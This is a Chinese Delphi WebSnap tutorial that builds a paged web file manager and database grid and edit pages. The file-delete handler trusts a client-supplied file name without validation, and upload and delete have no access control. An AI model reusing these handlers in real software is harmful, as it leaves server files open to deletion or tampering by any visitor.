procedure TMyAdapter.AdaptSiteAddressGetValue(Sender:TObject;

var Value: Variant);

begin

Value:=AdaptValueField.Value;

end;

接 著 我 們 開 始 設 計 網 頁 ， 開 啟 Visual Page Designer 視 窗 ， 新 增 一 個 AdapterForm 及 一 個 AdapterGrid 後 ， 你 會 看 到 這 樣 的 畫 面 :

然 後 執 行 程 式 後 我 們 就 可 以 看 到 成 果 了 :

很 簡 單 不 是 嗎 ? 這 個 範 例 讓 我 們 了 解 到 Adapter 的 存 在 意 義 。 我 們 可 以 使 用 TAdapter 來 封 裝 任 何 型 態 的 資 料 ， 並 在 網 頁 中 顯 示 資 料 ， 而 你 只 要 撰 寫 幾 個 事 件 就 可 以 了 ， 這 可 以 應 用 在 許 多 地 方 ， 例 如 檔 案 列 表 、 搜 尋 結 果 或 是 顯 示 一 些 非 正 規 的 資 料 庫 等 等 。 從 這 個 範 例 中 我 們 也 可 以 大 略 猜 到 TDataSetAdapter 如 何 將 資 料 庫 資 料 封 裝 起 來 ， 並 提 供 她 們 給 TAdapterGrid 及 TAdapterFieldGroup 來 顯 示 。 當 然 ! 如 果 你 的 目 的 只 是 要 顯 示 TStringsValueList 中 的 資 料 的 話 ， 那 直 接 將 TStringsValueList 設 給 AdapterGrid 就 行 了 ， 這 裡 我 是 為 了 展 示 以 TAdapter 封 裝 某 種 資 料 的 技 術 才 這 樣 使 用 。

7-2 、 TPagedAdapter

TPagedAdapter 的 功 能 與 使 用 方 式 大 致 與 TAdapter 相 同 ， 不 過 她 增 加 了 分 頁 的 能 力 ， 所 謂 分 頁 的 能 力 指 的 是 當 一 個 網 頁 中 的 資 料 過 多 時 ， 我 們 利 用 一 個 以 上 的 網 頁 來 顯 示 她 們 ， 例 如 你 在 搜 尋 引 擎 查 出 結 果 後 ， 當 結 果 筆 數 超 過 20-30 筆 時 ， 你 會 看 到 網 頁 下 方 有 頁 次 顯 示 ， 利 用 TPagedAdapter 我 們 可 以 輕 易 的 做 出 這 種 網 頁 。 接 下 來 就 讓 我 們 利 用 一 個 檔 案 列 表 的 範 例 程 式 來 展 示 如 何 應 用 TPagedAdpater ， 請 你 新 增 一 個 Page Module 到 專 案 中 ， 將 PageName 設 成 MyPageAdapter 並 選 擇 AdapterPageProducer 為 PageProducer ， 接 著 放 入 一 個 TPagedAdapter 元 件 ， 新 增 兩 個 AdapterField 元 件 到 裡 面 :

然 後 我 們 要 撰 寫 建 立 TStrings 物 件 ， 以 及 將 檔 案 列 表 儲 存 到 TStrings 的 函 式 :

procedure TMyPageAdapter.InitializeList(AListDir:string);

var

sr: TSearchRec;

begin

FStrings.Clear;

TStringList(FStrings).Sorted:=False;

if FindFirst(AListDir,faAnyFile,sr) = 0 then

begin

repeat

if sr.Attr <> faDirectory then

FStrings.Add(sr.Name+'='+IntToStr(sr.Size));

until FindNext(sr) <> 0;

end;

TStringList(FStrings).Sorted:=True;

end;

procedure TMyPageAdapter.WebPageModuleCreate(Sender: TObject);

begin

FStrings:=TStringList.Create;

end;

procedure TMyPageAdapter.WebPageModuleDestroy(Sender: TObject);

begin

FStrings.Free;

end;

procedure TMyPageAdapter.WebPageModuleActivate(Sender: TObject);

begin

InitializeList(AppPath+'\*.*');

end;

撰 寫 TPagedAdapter 及 AdapterField 的 相 關 事 件 :

procedure TMyPageAdapter.PagedAdapter1GetEOF(Sender: TObject;

var EOF: Boolean);

begin

EOF:=not (FIndex < FStrings.Count);

end;

procedure TMyPageAdapter.PagedAdapter1GetFirstRecord(Sender: TObject;

var EOF: Boolean);

begin

FIndex:=0;

EOF:=FStrings.Count = 0;

end;

procedure TMyPageAdapter.PagedAdapter1GetNextRecord(Sender: TObject;

var EOF: Boolean);

begin

Inc(FIndex);

EOF:=not (FIndex < FStrings.Count);

end;

procedure TMyPageAdapter.PagedAdapter1GetRecordCount(Sender: TObject;

var Count: Integer);

begin

Count:=FStrings.Count;

end;

procedure TMyPageAdapter.PagedAdapter1GetRecordIndex(Sender: TObject;

var Index: Integer);

begin

Index:=FIndex;

end;

procedure TMyPageAdapter.AdaptFileNameGetValue(Sender: TObject;

var Value: Variant);

begin

Value:=FStrings.Names[FIndex];

end;

procedure TMyPageAdapter.AdaptSizeGetValue(Sender: TObject;

var Value: Variant);

begin

Value:=FStrings.Values[FStrings.Names[FIndex]];

end;

接 著 我 們 還 要 設 定 每 一 頁 中 所 顯 示 的 資 料 筆 數 :

最 後 開 啟 Visual Page Designer 加 入 AdapterForm 、 AdapterGrid 、 AdapterCommandGroup 並 設 定 Adapter 特 性 值 及 AdapterAction 後 ， 你 就 可 以 看 到 如 下 的 畫 面 :

在 我 的 電 腦 上 這 個 程 式 執 行 結 果 如 下 :

你 可 以 使 用 畫 面 下 方 的 Page Link 來 切 換 頁 次 ， 或 是 利 用 Prev 、 Next 來 做 上 下 頁 的 切 換 ， 接 著 讓 我 們 加 強 這 個 網 頁 成 為 一 個 具 有 完 整 功 能 的 檔 案 總 管 ， 要 讓 網 頁 具 有 UploadFile 的 能 力 的 話 ， 我 們 必 須 新 增 一 個 新 的 TAdapter ， 並 在 裡 面 新 增 一 個 TAdapterFileField:

接 著 還 要 新 增 一 個 AdapterAction ， 用 來 執 行 Upload File 的 動 作 :

然 後 我 們 得 撰 寫 AdapterFileField 的 OnFileUpload 事 件 ， 儲 存 使 用 者 所 上 傳 的 檔 案 :

procedure TMyPageAdapter.AdaptUploadUploadFiles(Sender: TObject;

Files: TUpdateFileList);

var

I:Integer;

fs:TFileStream;

begin

for I:=0 to Files.Count-1 do

begin

fs:=TFileStream.Create(AppPath+'\'+ExtractFileName(Files.Files[I].FileName),fmCreate);

fs.CopyFrom(Files.Files[I].Stream,Files.Files[I].Stream.Size);

fs.Free;

end;

end;

要 觸 發 這 個 事 件 ， 我 們 必 須 在 AdapterAction.OnExecute 事 件 中 加 入 下 面 的 程 式 碼 :

procedure TMyPageAdapter.AdaptUploadFileExecute(Sender: TObject;

Params: TStrings);

begin

Adapter1.UpdateRecords(WebContext.AdapterRequest as IActionRequest);

end;

這 一 段 程 式 碼 的 意 思 是 更 新 TAdapter 中 的 所 有 AdapterField 資 料 ， 在 這 個 程 式 中 就 是 觸 發 OnUploadFile 這 個 事 件 。 最 後 我 們 只 需 要 在 Visual Page Designer 加 入 相 關 的 元 件 就 可 以 了 :

執 行 程 式 後 你 就 可 以 上 傳 檔 案 到 這 個 網 站 上 了 ， 範 例 程 式 預 設 是 C:\Temp ， 你 可 以 整 合 使 用 者 管 理 功 能 來 設 定 上 傳 的 位 置 。 不 過 這 個 程 式 有 個 缺 點 ， 你 會 發 現 上 傳 檔 案 後 在 網 頁 的 檔 案 列 表 中 找 不 到 你 上 傳 的 檔 案 名 稱 ， 這 發 生 在 你 上 傳 的 檔 案 名 稱 經 過 排 序 後 顯 示 的 位 置 是 在 你 目 前 的 頁 次 中 ， 會 這 樣 的 原 因 是 我 們 將 取 得 檔 案 列 表 的 程 式 寫 在 Module.OnActivate 之 中 ， 這 跟 AdapterAction 執 行 的 順 序 有 關 ， 請 看 下 面 的 流 程 :

( 圖 :8)

從 流 程 中 我 們 可 以 發 現 ， OnActivate 是 在 OnExecute 之 前 觸 發 ， 這 會 發 生 在 我 們 執 行 Action 之 後 所 導 向 的 網 頁 與 Action 所 在 網 頁 相 同 的 情 況 下 ， 因 此 我 們 必 須 改 變 取 得 File List 程 式 碼 的 位 置 ， 理 想 的 位 置 是 在 Module 的 BeforeDispatchPage 事 件 中 :

procedure TMyPageAdapter.WebPageModuleBeforeDispatchPage(Sender: TObject;

const PageName: String; var Handled: Boolean);

begin

InitializeList(AppPath+'\*.*');

end;

編 譯 後 執 行 你 就 可 以 看 到 正 常 的 結 果 了 ， 接 下 來 我 們 要 加 入 刪 除 檔 案 的 能 力 ， 我 們 有 兩 種 選 擇 ， 一 是 像 PCHome 的 檔 案 總 管 一 樣 ， 顯 示 一 個 checkbox 讓 使 用 者 選 擇 要 刪 除 的 檔 案 後 再 按 下 Delete File 按 紐 刪 除 被 選 擇 的 所 有 檔 案 。 另 一 種 是 在 Grid 最 後 一 列 顯 示 一 個 按 紐 讓 使 用 者 按 下 後 刪 除 該 列 的 那 一 個 檔 案 ， 第 一 種 方 法 必 須 利 用 Session 來 儲 存 使 用 者 所 選 擇 的 檔 案 ， 接 著 必 須 撰 寫 相 關 的 元 件 ， 由 於 這 牽 扯 到 元 件 設 計 的 部 份 ， 因 此 我 選 擇 等 到 Inside WebSnap 一 文 中 再 討 論 這 方 面 的 技 術 ， 這 裡 我 們 就 先 選 擇 第 二 種 方 式 ， 請 在 TPagedAdapter 中 新 增 一 個 TAdapterAction: AdaptDeleteFile 。

我 們 要 為 她 撰 寫 兩 個 事 件 :OnGetParams 與 OnExecute:

procedure TMyPageAdapter.AdaptDeleteFileExecute(Sender: TObject;

Params: TStrings);

var

FileName:string;

begin

FileName:=Params.Values['FileName'];

DeleteFile(AppPath+'\'+FileName);

end;

procedure TMyPageAdapter.AdaptDeleteFileGetParams(Sender: TObject;

Params: TStrings);

begin

Params.Add('FileName='+AdaptFileName.Value);

end;

OnGetParams 會 在 網 頁 顯 示 前 被 觸 發 ， 因 此 我 們 利 用 她 的 Params 參 數 來 加 入 檔 案 名 稱 ， 這 樣 當 Action 被 觸 發 時 這 個 參 數 就 會 傳 到 我 們 的 OnExecute 事 件 中 ， 我 們 就 可 以 利 用 這 個 參 數 值 來 刪 除 該 檔 案 ， 要 完 全 了 解 這 部 份 的 動 作 我 們 要 觀 察 網 頁 中 的 程 式 碼 :

<input type="submit" value="DeleteFile" onclick="AdapterForm1.

__act.value='FileName.13.inventory.rtf__p.13.MyPageAdapter__id.38.MyPageAdapter.PagedAdapter1.DeleteFile'">

你 可 以 看 到 紅 色 字 的 部 份 ， 這 就 是 我 們 在 OnGetParams 所 填 入 的 參 數 值 ， 當 使 用 者 按 下 按 紐 後 TAdapterDispatcher 會 取 出 這 個 參 數 值 並 送 到 我 們 的 OnExecute 事 件 中 。 完 成 設 計 網 頁 的 動 作 後 這 個 程 式 就 算 完 成 了 ， 你 已 經 擁 有 一 個 簡 單 的 檔 案 總 管 了 ， 接 下 來 你 可 以 結 合 使 用 者 管 理 與 其 它 一 些 控 制 之 後 ， 就 可 以 達 到 類 似 PCHome 個 人 網 頁 的 能 力 了 ， 這 些 就 當 成 是 你 的 練 習 題 了 。

7-3 TOrpEditablePagedAdapter

原 本 我 一 直 避 免 在 這 篇 文 章 中 論 及 元 件 設 計 ， 可 是 我 後 來 想 想 ， 這 個 範 例 對 你 來 說 可 能 是 蠻 有 用 的 ， 但 是 我 不 打 算 在 這 篇 文 章 中 解 釋 元 件 設 計 ， 因 為 那 得 用 一 篇 文 章 才 能 交 代 各 個 Interface 間 的 互 動 及 協 調 ， 但 我 又 很 想 將 這 個 範 例 與 你 分 享 ， 所 以 我 下 了 個 決 定 ， 我 將 元 件 給 你 ， 但 原 始 碼 等 到 Inside WebSnap 時 再 詳 細 的 解 釋 ! 還 記 得 我 們 上 一 節 的 範 例 嗎 ? 基 本 上 看 起 來 是 很 不 錯 ， 但 是 我 們 必 須 承 認 ， 她 還 不 是 很 實 用 ， 也 不 足以 啟 發 你 其 它 的 聯 想 ， 所 以 我 完 成 了 這 個 範 例 ， 要 編 譯 這 個 範 例 ， 你 必 須 要 先 安 裝 Orpdemo.bpl 這 個 Package ， 裡 面 有 一 個 TOrpEditablePagedAdapter 元 件 ， 她 是 基 於 TPagedAdapter 再 加 入 可 編 修 資 料 的 能 力 ， 我 們 利 用 她 來 完 成 我 們 上 一 節 中 未 完 成 的 範 例 ， 這 個 檔 案 總 管 可 以 讓 使 用 者 先 挑 選 要 刪 除 的 資 料 ， 之 後 按 下 刪 除 的 按 紐 後 刪 除 資 料 ， 這 不 只 可 以 用 在 刪 除 檔 案 ， 你 也 可 以 利 用 她 來 將 使 用 者 選 擇 的 檔 案 壓 縮 後 讓 使 用 者 下 載 ， 亦 或 是 購 物 車 ， 或 者 更 多 地 方 ! 這 也 是 我 為 何 會 破 例 在 這 篇 文 章 中 展 示 她 的 原 因 ， 含 意 太 深 了 ， 讓 我 不 能 忽 視 ! 完 整 的 範 例 程 示 在 uMySessionPagedAdapter Unit 中 ， 我 只 挑 出 幾 個 部 份 來 解 釋 ， 請 你 對 照 著 看 ， 首 先 我 們 使 用 TOrpEditablePagedAdapter 來 取 代 TPagedAdapter 列 示 檔 案 的 程 式 碼 與 上 節 的 範 例 相 同 ， 我 們 先 解 釋 處 理 Session 的 部 份 :

function TMySessionPagedAdapter.AddToList(Value:string):Boolean;

begin

Result:=True;

if not FindSession(Value,foNothing) then

begin

if not FindSession('',foNothing,Value) then

begin

try

VarArrayUnLock(FSessionVariant);

VarArrayRedim(FSessionVariant,FDeleteArraySize+1);

FDeleteArray:=VarArrayLock(FSessionVariant);

FDeleteArray[FDeleteArraySize+1]:=Value;

Inc(FDeleteArraySize);

except

Result:=False;

end;

end;

end;

end;

function TMySessionPagedAdapter.FindSession(Value:string;FindOperation:TFindOperation;AddValue:string=''):Boolean;

var

I:Integer;

bFind:Boolean;

begin

bFind:=False;

if FDeleteArraySize <> -1 then

begin

for I:=0 to FDeleteArraySize do

begin

if (not VarIsEmpty(FDeleteArray[I])) and (Value = FDeleteArray[I]) then

begin

bFind:=True;

if FindOperation = foDelete then

FDeleteArray[I]:=Unassigned;

break;

end;

if (Value = '') and (AddValue <> '') and (VarIsEmpty(FDeleteArray[I])) then

begin

bFind:=True;

FDeleteArray[I]:=AddValue;

break;

end;

end;

end;

Result:=bFind;

end;

AddToList 及 FindSession 是 用 來 處 理 Session 的 程 式 ， 我 們 利 用 了 一 個 Variant Array 來 儲 存 使 用 者 所 挑 選 的 檔 案 名 稱 ， FDeleteArray 是 一 個 陣 列 指 標 ， 我 們 在 操 作 Variant Array 之 前 會 先 使 用 VarArrayLock 來 加 快 處 理 Variant Array 的 速 度 .

procedure TMySessionPagedAdapter.WebPageModuleBeforeDispatchPage(

Sender: TObject; const PageName: String; var Handled: Boolean);

begin

InitializeList(AppPath+'\*.*');

FSessionVariant:=Session.Values['DeleteList'];

if VarIsEmpty(FSessionVariant) then

begin

FSessionVariant:=VarArrayCreate([0,0],varVariant);

FSessionVariant[0]:=Unassigned;

Session.Values['DeleteList']:=FSessionVariant;

FDeleteArraySize:=0;

end

else

FDeleteArraySize:=VarArrayHighBound(FSessionVariant,1);

FDeleteArray:=VarArrayLock(FSessionVariant);

end;

我 們 選 擇 了 在 BeforeDispatchPage 事 件 中 將 Session 取 出 並 Lock 後 對 應 至 FDeleteArray 中 。

procedure TMySessionPagedAdapter.WebPageModuleAfterDispatchPage(

Sender: TObject; const PageName: String);

begin

VarArrayUnLock(FSessionVariant);

Session.Values['DeleteList']:=FSessionVariant;

end;

在 Dispatch 之 後 我 們 將 Variant UnLock 後 存 回 Session 中 。

procedure TMySessionPagedAdapter.AdaptDeleteGetValue(Sender: TObject;

var Value: Boolean);

begin

Value:=FindSession(AdaptFileName.Value,foNothing);

end;

我 們 在 這 個 範 例 中 提 供 一 個 checkbox 在 每 一 筆 資 料 後 面 ， 這 個 值 必 須 由 Session 中 取 出 。

procedure TMySessionPagedAdapter.AdaptDeleteUpdateValue(Sender: TObject;

Value: Boolean);

begin

AddToList(FStrings.Names[OrpEditablePagedAdapter1.CurrentUpdateIndex])

end;

當 使 用 者 選 定 檔 案 或 是 切 換 至 其 它 的 Page 時 ， 我 們 要 執 行 Adapter 的 UpdateRecords 函 式 ， 她 會 觸 發 AdapterField 的 UpdateValue 事 件 ， 這 裡 我 們 使 用 了 TOrpEditablePagedAdapter 的 特 有 屬 性 :CurrentUpdateIndex ， 這 個 屬 性 會 告 知 我 們 目 前 更 新 的 記 錄 位 置 ， 我 們 再 由 FStrings 取 出 對 應 的 檔 名 .

procedure TMySessionPagedAdapter.ActionPrevPageBeforeExecute(

Sender: TObject; Params: TStrings; var Handled: Boolean);

var

I,iClearStart,iClearEnd:Integer;

begin

FSessionVariant:=Session.Values['DeleteList'];

FDeleteArray:=VarArrayLock(FSessionVariant);

iClearStart:=OrpEditablePagedAdapter1.RecordIndex;

iClearEnd:=OrpEditablePagedAdapter1.PageSize +

OrpEditablePagedAdapter1.RecordIndex;

if iClearEnd > (FStrings.Count-1) then

iClearEnd:=FStrings.Count-1;

for I:=iClearStart to iClearEnd do

FindSession(FStrings.Names[I],foDelete);

OrpEditablePagedAdapter1.UpdateRecords((WebContext.AdapterRequest as IActionRequest));

VarArrayUnlock(FSessionVariant);

Session.Values['DeleteList']:=FSessionVariant;

end;

你 可 以 在 範 例 程 式 中 發 現 我 將 Goto ， Prev ， NextPage 三 個 Action 的 BeforeExecute 事 件 都 指 向 了 這 個 事 件 ， 這 是 為 了 讓 使 用 者 操 作 方 便 ， 不 需 要 再 按 另 一 個 按 紐 來 更 新 所 選 擇 的 檔 案 。

procedure TMySessionPagedAdapter.AdaptDeleteFileExecute(Sender: TObject;

Params: TStrings);

var

I:Integer;

begin

FSessionVariant:=Session.Values['DeleteList'];

FDeleteArray:=VarArrayLock(FSessionVariant);

OrpEditablePagedAdapter1.UpdateRecords((WebContext.AdapterRequest as IActionRequest));

for I:=0 to FDeleteArraySize do

begin

if (not VarIsEmpty(FDeleteArray[I])) and

(FDeleteArray[I] <> '') then

begin

DeleteFile(AppPath+'\'+FDeleteArray[I]);

FDeleteArray[I]:=Unassigned;

end;

end;

FSessionVariant:=VarArrayCreate([0,0],varVariant);

Session.Values['DeleteList']:=FSessionVariant;

end;

前 三 行 程 式 是 更 新 Session 資 料 用 ， 後 面 的 程 式 則 是 執 行 刪 除 檔 案 的 動 作 . 其 實 這 個 範 例 不 算 很 複 雜 ， 只 是 她 裡 面 展 示 了 Session 的 應 用 ， 這 對 我 們 在 撰 寫 其 它 程 式 時 相 當 有 用 ， 另 外 你 可 以 發 現 到 我 在 PrevPageBeforeExecute 中 所 寫 的 程 式 碼 會 在 執 行 Action 前 清 空 該 頁 中 的 選 項 ， 要 了 解 我 為 何 這 樣 寫 的 原 由 ， 你 必 須 要 使 用 WebAppDebuger 中 的 Log 來 觀 察 當 你 選 擇 了 某 個 檔 案 後 Post 的 資 料 ， 以 及 當 你 移 除 了 一 個 選 擇 時 的 Post 資 料 ， 兩 相 對 照 後 就 會 有 答 案 了 . (PS: 永 遠 不 會 送 出 False 的 checkbox)

本 章 後 記

這 一 節 中 我 們 了 解 了 Adapter 在 WebSnap 中 的 定 位 及 各 種 應 用 ， 也 討 論 了 Action 一 些 事 件 的 意 義 ， 並 結 合 這 些 技 術 建 構 了 一 個 簡 單 的 檔 案 總 管 ， 到 本 節 為 止 ， 我 們 也 介 紹 了 近 8 成 以 上 的 WebSnap 元 件 。

PS: 小 心 誤 刪 掉 了 某 些 檔 案 !!


CSDN_文档中心_Web Application 開 發 利 器 - WebSnap（三）

Web Application 開 發 利 器 - WebSnap!

第 參 章 、 WebSnap 與 資 料 庫

3-1 基 本 概 念

WebSnap 對 於 資 料 庫 的 支 援 能 力 比 之 前 的 WebBroker+InternetExpress 增 強 了 很 多 ， 所 以 使 用 WebSnap 來 開 發 資 料 庫 網 頁 程 式 ， 可 以 說 是 一 件 簡 單 且 愉 快 的 事 。 在 我 們 開 始 撰 寫 資 料 庫 程 式 之 前 ， 這 裡 先 讓 我 們 先 了 解 一 下 WebSnap 如 何 串 連 傳 統 資 料 庫 與 網 頁 程 式 。

TDataSetAdapter 元 件

如 同 我 們 在 第 一 節 所 討 論 的 Adapter 意 義 相 同 ， TDataSetAdapter 就 是 DataSet 的 Adapter 。 我 們 可 以 利 用 TDataSetAdapter 所 提 供 的 函 式 來 操 作 位 於 她 內 部 的 DataSet 元 件 ， 那 麼 為 何 要 這 樣 設 計 呢 ? 為 何 不 直 接 使 用 DataSet 呢 ? 回 答 這 個 問 題 前 讓 我 們 回 想 一 下 上 一 節 的 計 算 機 範 例 ， Adapter 不 只 是 供 DELPHI 程 式 使 用 ， 她 還 輸 出 了 Wrapper 物 件 讓 我 們 可 以 在 Script 中 使 用 她 ， 這 是 DataSet 所 辦 不 到 的 。 你 也 可 以 在 TAdapterPageProducer 中 新 增 一 個 AdapterFieldGroup 或 是 AdapterGrid ， 將 TDataSetAdapter 或 是 單 純 的 Adapter 設 給 她 們 來 顯 示 或 編 修 資 料 ， 她 們 並 不 在 乎 你 設 給 她 的 是 Adapter 還 是 TDataSetAdapter 亦 或 是 你 自 己 所 撰 寫 的 Adapter ， 這 大 大 的 加 強 了 程 式 碼 的 重 用 性 。 例 如 你 可 以 撰 寫 一 個 Adapter 輸 出 某 個 目 錄 下 的 檔 案 列 表 ， 並 使 用 AdapterGrid 來 顯 示 她 們 ， 這 是 不 是 很 棒 呢 ?

TDataSetAdapterField 元 件

和 TDataSetAdapter 一 樣 ， TDataSetAdapterField 就 是 TField 的 Adapter 。 結 合 TDataSetAdapter 及 TDataSetAdapterField 之 後 就 是 一 個 完 整 的 DataSet Adapter 了 ， 我 們 可 以 利 用 TDataSetAdapter 來 搜 尋 資 料 ， 也 可 以 利 用 TDataSetAdapterField 來 顯 示 與 更 改 資 料 。 接 著 就 讓 我 們 利 用 她 們 來 撰 寫 一 個 可 以 顯 示 資 料 與 一 個 編 修 資 料 的 網 頁 。

3-2 簡 單 的 資 料 庫 網 頁 實 作

我 們 以 上 一 節 的 範 例 為 基 礎 ， 為 她 加 上 一 個 顯 示 資 料 的 網 頁 及 一 個 編 修 資 料 的 網 頁 。 請 你 開 啟 New Items Dialog 並 切 換 到 WebSnap 頁 :

請 在 這 裡 選 擇 WebSnap Data Module ， 這 種 Module 通 常 是 用 來 存 放 Database Components ， 或 是 一 些 輔 助 型 的 非 視 覺 化 元 件 。 執 行 後 我 們 可 以 設 定 這 個 Data Module 的 一 些 特 性 值 :

Caching 選 項 之 前 我 們 就 說 明 過 了 ， 讓 我 們 看 到 Creation 選 項 ， 這 在 Page Module 也 有 出 現 過 ， 只 是 那 時 我 沒 有 解 釋 她 ， 基 本 上 這 個 選 項 會 影 響 Module 的 建 立 行 為 ， 預 設 是 On Demand ， 這 代 表 著 程 式 啟 動 時 並 沒 有 建 立 這 個 Module ， 而 是 等 到 她 被 使 用 到 時 才 會 建 立 這 個 Module 。 那 確 切 的 建 立 時 機 是 何 時 呢 ?

1. 當 Module 中 的 物 件 被 Activate Module 內 物 件 使 用 到 時 ， 例 如 待 會 我 們 會 在 另 一 個 Module 將 她 設 給 一 個 TDataSetAdapter 元 件 。

2. 當 程 式 明 白 的 使 用 到 (Factroy Method) 建 構 函 式 時 ， 這 裡 的 建 構 函 式 指 的 是 下 面 這 個 :

<div align=justify>
  function WebDataModule1: TWebDataModule1;
  begin
    Result := TWebDataModule1(
    WebContext.FindModuleClass(TWebDataModule1));
 end;

時 機 1 是 由 Form Load System 幫 我 們 建 立 的 ， 另 一 個 就 類 似 我 們 在 Form1 中 使 用 Form2 內 的 元 件 道 理 一 樣 ， 只 是 Form 中 我 們 用 的 是 全 域 變 數 ， 這 裡 我 們 使 用 的 是 Factroy Method 。 除 了 On Demand 選 項 之 外 ， 另 外 還 有 一 個 Always 選 項 可 供 我 們 選 擇 ， 這 個 選 項 代 表 這 個 Module 會 在 程 式 執 行 時 立 刻 被 建 立 ， 這 可 以 用 在 使 用 率 高 的 Module 上 ， 例 如 Application Module 就 是 使 用 這 個 選 項 ， 因 為 不 管 使 用 者 要 求 的 是 那 一 個 網 頁 或 是 那 一 個 Action ， WebSnap 都 必 須 要 啟 動 Application Module 來 分 發 這 些 要 求 ， 如 果 每 次 都 重 新 建 立 的 話 會 浪 費 掉 一 些 時 間 。 因 此 當 某 個 Module 使 用 的 頻 率 相 當 高 的 話 ， 你 可 以 考 慮 將 她 設 成 Always ， 用 記 憶 體 來 換 取 效 率 。

回 到 範 例 中 ， 請 在 Web Data Module 中 放 入 Database 、 Table 、 Session 這 三 個 元 件 ， 並 設 定 她 們 的 特 性 值 :

然 後 請 在 Table 中 加 入 所 有 的 Fields 。

請 你 將 Module 的 名 稱 改 為 wdmData ， 存 檔 後 我 們 必 須 再 新 增 一 個 Page Module ， 請 選 擇 AdapterPageProducer 作 為 這 個 Page Module 的 PageProducer ， 並 將 Page Name 設 成 Grid ， 接 著 再 加 入 一 個 TDataSetAdapter 到 這 個 Page Module 中

為 了 使 用 wdmData 中 的 Table 元 件 ， 我 們 必 須 要 uses udmData 。

完 成 後 你 就 可 以 回 到 DataSetAdapter 元 件 中 來 設 定 她 的 特 性 值 。

設 定 好 了 之 後 請 雙 按 DataSetAdapter 的 Data 特 性 值 來 加 入 所 有 的 欄 位 。

接 下 來 我 們 還 要 設 計 網 頁 的 顯 示 畫 面 ， 請 開 出 Visual Page Designer 視 窗 ， 新 增 一 個 AdapterForm 元 件 ， 並 在 裡 面 新 增 一 個 AdapterGrid 元 件 。

然 後 設 定 AdapterGrid.Adapter 特 性 值 為 DataSetAdapter 。

完 成 後 你 就 可 以 看 到 以 下 的 畫 面 了 ， 如 果 資 料 沒 有 顯 示 出 來 的 話 ， 可 能 是 你 的 Table 沒 有 打 開 ， 請 回 到 Data Module 將 Table 打 開 就 可 以 了 。

嗯 ! 這 個 畫 面 有 點 醜 ， 我 們 可 以 利 用 CSS 來 美 化 她 ， 請 在 AdapterPageProducer 的 Styles 特 性 值 中 輸 入 以 下 的 CSS 命 令 :

.CustCol
{
WIDTH: 70;
}

.CompanyCol
{
WIDTH: 220;
}

.Addr2Col
{
WIDTH: 60;
}

.CountryCol
{
WIDTH: 140;
}

.CityCol
{
WIDTH: 90;
}

輸 入 完 成 後 你 就 能 夠 在 AdapterDisplayField 的 StyleRule 中 選 擇 你 需 要 的 CSS Style 。

在 目 前 的 WebSnap 網 頁 設 計 過 程 中 相 當 依 賴 CSS ， 原 因 是 使 用 CSS 不 但 可 以 簡 化 網 頁 計 ， 也 可 以 使 整 個 網 站 的 風 格 一 致 ， 因 此 找 本 好 的 CSS 書 籍 是 很 重 要 的 。 讓 我 們 回 到 範 例 中 ， 基 本 上 我 們 已 經 完 成 了 一 個 可 以 顯 示 資 料 的 網 頁 了 ， 接 著 我 們 還 要 建 立 一 個 編 修 資 料 的 網 頁 ， 請 新 增 一 個 Page Module ， 一 樣 選 擇 AdapterPageProducer ， 並 將 名 稱 設 為 Edit ， 完 成 後 新 增 一 個 TDataSetAdapter 元 件 到 這 個 Module 中 ， 之 後 就 如 Grid Module 一 樣 連 結 DataModule 並 加 入 所 有 的 欄 位 。 接 著 請 你 開 啟 Visual Page Designer 來 加 入 一 個 AdapterForm 元 件 ， 並 在 裡 面 新 增 一 個 AdapterFieldGroup 元 件 :

然 後 設 定 AdapterFieldGroup.Adapter 特 性 為 DataSetAdapter 。

由 於 我 們 是 要 設 計 編 修 資 料 的 網 頁 ， 因 此 請 設 定 AdapterMode 為 Edit 。

沒 問 題 的 話 你 應 該 可 以 看 到 一 個 編 修 資 料 的 網 頁 。

我 們 還 需 要 一 個 將 編 修 後 的 資 料 存 回 資 料 庫 的 按 紐 ， 請 在 AdapterForm 元 件 上 按 右 鍵 新 增 一 個 AdapterCommandGroup 並 設 定 DisplayComponent 為 AdapterFieldGroup 。

完 成 後 你 會 看 到 一 排 操 作 資 料 庫 的 按 紐

在 這 個 範 例 中 我 們 只 需 要 Apply 按 紐 ， 請 在 AdapterCommandGroup 上 按 右 鍵 選 擇 Add Command 選 項 來 新 增 一 個 Apply 按 紐

到 這 裡 為 止 我 們 已 經 完 成 了 一 個 編 修 資 料 的 網 頁 ， 接 著 我 們 希 望 在 Grid 網 頁 每 筆 資 料 的 後 面 加 上 一 個 按 紐 連 結 到 這 個 編 修 的 網 頁 ， 因 此 我 們 回 到 Grid Module 中 開 啟 Visual Page Designer 視 窗 ， 在 AdapterGrid 元 件 上 按 右 鍵 選 擇 新 增 一 個 AdapterCommandColumn 元 件 。

完 成 之 後 你 應 該 可 以 看 到 在 每 筆 資 料 的 後 面 顯 示 許 多 的 按 紐 ， 這 個 範 例 中 我 們 只 需 要 Edit 按 紐 就 可 以 了 ， 請 在 AdapterCommandColumn 上 按 右 鍵 選 擇 新 增 一 個 Edit 按 紐 。

完 成 後 你 可 以 在 每 筆 資 料 的 最 後 一 欄 看 到 這 個 按 紐 ， 同 時 你 也 可 以 使 用 視 窗 上 的 Move Up 按 紐 來 調 整 她 的 顯 示 位 置 。

然 後 我 們 要 設 定 當 使 用 者 按 下 這 個 按 紐 後 的 動 作 ， 這 裡 我 們 只 需 要 她 連 往 Edit Page 就 可 以 了 ， 我 們 可 以 利 用 設 定 PageName 特 性 值 來 達 到 這 個 目 的 。

我 們 希 望 能 夠 讓 使 用 者 在 編 修 網 頁 中 按 下 Apply 按 紐 後 ， 自 動 回 到 Grid 網 頁 中 ， 這 可 以 經 由 設 定 Apply 按 紐 的 PageName 特 性 值 為 Grid 來 完 成 。

OK! 大 功 告 成 ， 接 著 執 行 程 式 來 看 看 我 們 的 成 果 吧 !

不 幸 的 是 ， 當 你 修 改 了 資 料 後 按 下 Apply 按 紐 時 ， 你 會 得 到 這 個 錯 誤 :

這 是 因 為 WebSnap 中 使 用 Variant 來 比 對 資 料 ， 這 個 動 作 可 能 會 引 發 型 別 轉 換 上 的 例 外 ， 而 我 們 是 在 Debuger 狀 態 下 執 行 程 式 ， 因 此 例 外 就 被 DELPHI 所 攔 截 下 來 了 ， 這 並 不 會 影 響 資 料 的 儲 存 動 作 ， 因 為 WebSnap 中 完 整 的 處 理 了 這 個 例 外 ， 當 型 別 轉 換 例 外 發 生 時 視 同 值 已 被 改 變 ， 請 你 按 下 F9 讓 程 式 繼 續 執 行 就 可 以 了 。

